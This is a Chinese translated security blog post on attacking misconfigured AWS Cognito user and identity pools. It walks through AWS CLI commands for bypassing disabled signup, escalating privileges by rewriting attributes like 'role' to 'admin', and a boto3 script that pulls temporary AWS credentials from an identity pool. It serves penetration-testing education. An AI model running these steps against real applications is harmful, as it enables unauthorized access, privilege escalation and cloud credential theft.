云上攻防 | AWS中的常见 Cognito 配置错误

admin 2024年9月27日15:18:42评论20 views字数 3553阅读11分50秒阅读模式

扫码领资料

获网安教程

云上攻防 | AWS中的常见 Cognito 配置错误

云上攻防 | AWS中的常见 Cognito 配置错误

Track安全社区投稿~  

千元稿费!还有保底奖励~(https://bbs.zkaq.cn)

引言

AWS Cognito 是由亚马逊网络服务(AWS)提供的全托管服务,旨在简化 Web 和移动应用程序的用户认证和授权过程。它提供了一整套功能来处理用户注册、登录和用户管理,免去了开发人员从头构建这些功能的需求。

尽管本文讨论的攻击和配置错误已经有大量文献记载,并且得到了各种资源的关注,但重申它们的重要性仍然至关重要,以强调在 AWS Cognito 部署中确保安全配置和持续监控的重要性。

云上攻防 | AWS中的常见 Cognito 配置错误

AWS Cognito 组件

AWS Cognito 提供了两个主要组件:用户池身份池

1.用户池: 用户池允许开发人员创建和管理一个可自定义的用户目录,以处理用户注册、登录和账户恢复。用户池支持多种认证方法,包括用户名和密码、社交登录(如 Google 或 Facebook)以及多因素认证(MFA)。用户池还处理用户档案管理,使您可以存储针对应用程序需求的自定义属性。
2.身份池: 身份池,也称为联合身份池,允许用户获取临时的 AWS 凭证以访问 AWS 服务。通过身份池,您可以集成第三方身份提供者(如 Google、Facebook 或您自己的身份系统)来验证用户并授予他们访问 AWS 资源的权限。
云上攻防 | AWS中的常见 Cognito 配置错误
云上攻防 | AWS中的常见 Cognito 配置错误
💡 快速提示: 如果你发现应用程序中加载了 aws-sdk.min.js 或 amazon-cognito.min.js,那么你应该立即检查是否有 Cognito 参数或硬编码的 AWS 凭证。

常见的 User Pools 攻击

AWS Cognito 用户池的一个关键方面是生成和使用 JSON Web Tokens (JWTs) 来进行认证和授权。

检测 Cognito User Pools 的使用:

要识别是否使用了 Cognito User Pools,可以在应用程序的 JS/HTML 源代码中查找 UserPoolID 或 ClientId。
云上攻防 | AWS中的常见 Cognito 配置错误
此外,观察 Web 应用程序发出的对 AWS Cognito 的登录/注册调用。
云上攻防 | AWS中的常见 Cognito 配置错误

攻击示例

让我们深入探讨一些常见的攻击向量。
假设一个 Web 服务使用了 Cognito,但没有提供注册选项。
云上攻防 | AWS中的常见 Cognito 配置错误
我们可以尝试以下方法:
注册绕过: 攻击者可以尝试通过使用 AWS CLI 绕过常规的应用程序注册流程。通过执行 aws cognito-idp sign-up 命令并提供适当的参数(例如虚假的电子邮件地址和选择的密码),攻击者可以启动注册过程,而无需按照预期的步骤进行。
aws cognito-idp sign-up --client-id '[ClientId]' --username '[email protected]' --password 's3cr4tP@ss' --user-attributes '[{"Name":"email","Value":"[email protected]"}]'
云上攻防 | AWS中的常见 Cognito 配置错误
确认注册: 在启动注册过程后,攻击者需要确认用户账户。这可以通过使用 aws cognito-idp confirm-sign-up 命令来完成,该命令需要客户端 ID 和在注册过程中使用的用户名/电子邮件,以及确认代码。
aws cognito-idp confirm-sign-up — client-id '[ClientId]' — username '[email protected]' — confirmation-code '013370'
云上攻防 | AWS中的常见 Cognito 配置错误
云上攻防 | AWS中的常见 Cognito 配置错误
登录与 JWT 令牌获取: 使用创建的用户账户,攻击者可以启动登录过程以获取 JWT 令牌。通过使用 aws cognito-idp initiate-auth 命令,并提供适当的区域、客户端 ID 和认证参数(用户名和密码),攻击者可以从响应中获取 JWT 令牌。
aws cognito-idp initiate-auth --region YOUR_REGION --client-id YOUR_CLIENT_ID --auth-flow USER_PASSWORD_AUTH --auth-parameters USERNAME=YOUR_USERNAME,PASSWORD=YOUR_PASSWORD
否则,攻击者可以直接将新注册的凭证输入到登录表单中。
云上攻防 | AWS中的常见 Cognito 配置错误
云上攻防 | AWS中的常见 Cognito 配置错误
云上攻防 | AWS中的常见 Cognito 配置错误
操控用户属性: 一旦攻击者拥有有效的 JWT 令牌,他们可以通过操控用户属性来与用户池进行交互。使用 aws cognito-idp update-user-attributes 命令,攻击者可以直接修改诸如电子邮件或应用角色等属性,从而可能赋予自己更高的权限或更改账户信息。
寻找一些有趣的参数,例如“email_verified”、“admin”、“debug_mode”、“is_premium”等。如果没有适当的 Lambda 触发器或权限配置错误,您将能够通过 CLI 更改这些属性。
扩展攻击向量,攻击者可以尝试指定现有用户的电子邮件地址,并改变其大小写(例如 [email protected][1] 和 [email protected][2])。如果应用程序在后台登录之前对电子邮件地址进行了规范化,这可能导致未经授权的访问。
要获取用户设置的属性列表,请运行以下命令:
aws cognito-idp get-user --access-token [AccessToken]
然后尝试直接更改属性:
aws cognito-idp update-user-attributes --access-token 'TOKEN' --user-attributes '[{"Name":"email","Value":"[email protected]"}, {"Name":"role","Value":"admin"}]' --region=us-east-2

常见的 Identity Pools 攻击

检测 Cognito Identity Pools 的使用:

可以在 JS/HTML 源代码中找到 IdentityPoolID。此外,您可能会发现使用 JWT 令牌检索临时 AWS 凭证的引用。
云上攻防 | AWS中的常见 Cognito 配置错误
您可以从身份池中检索临时 AWS 凭证。这些凭证随后可以用来访问 AWS 资源。
可以通过 CLI 完成这一操作:
aws cognito-identity get-id --identity-pool-id <identity-pool-id> aws cognito-identity get-credentials-for-identity --identity-id <identity-id-from-previous-command>
或使用python脚本:
import boto3region='us-east-1'identity_pool='us-east-1:XXXXXXXXXXXXXXXXXXXXXXXXXX'client = boto3.client('cognito-identity',region_name=region)_id = client.get_id(IdentityPoolId=identity_pool)_id = _id['IdentityId']credentials = client.get_credentials_for_identity(IdentityId=_id)access_key = credentials['Credentials']['AccessKeyId']secret_key = credentials['Credentials']['SecretKey']session_token = credentials['Credentials']['SessionToken']identity_id = credentials['IdentityId']print("Access Key: " + access_key)print("Secret Key: " + secret_key)print("Session Token: " + session_token)print("Identity Id: " + identity_id)
或者,您可以拦截应用程序向 Cognito 发送的请求:
云上攻防 | AWS中的常见 Cognito 配置错误

攻击示例

接下来,您可以使用自动化工具或通过 CLI 手动探索 AWS 账户。
云上攻防 | AWS中的常见 Cognito 配置错误

References

[1] [email protected]mailto:[email protected]
[2] [email protected]mailto:[email protected]
以上内容由白帽子左一翻译并整理。原文:https://infosecwriteups.com/attacking-aws-common-cognito-misconfigurations-a898bf092218

声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。

原文始发于微信公众号(白帽子左一):云上攻防 | AWS中的常见 Cognito 配置错误

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月27日15:18:42
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   云上攻防 | AWS中的常见 Cognito 配置错误http://cn-sec.com/archives/3209837.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息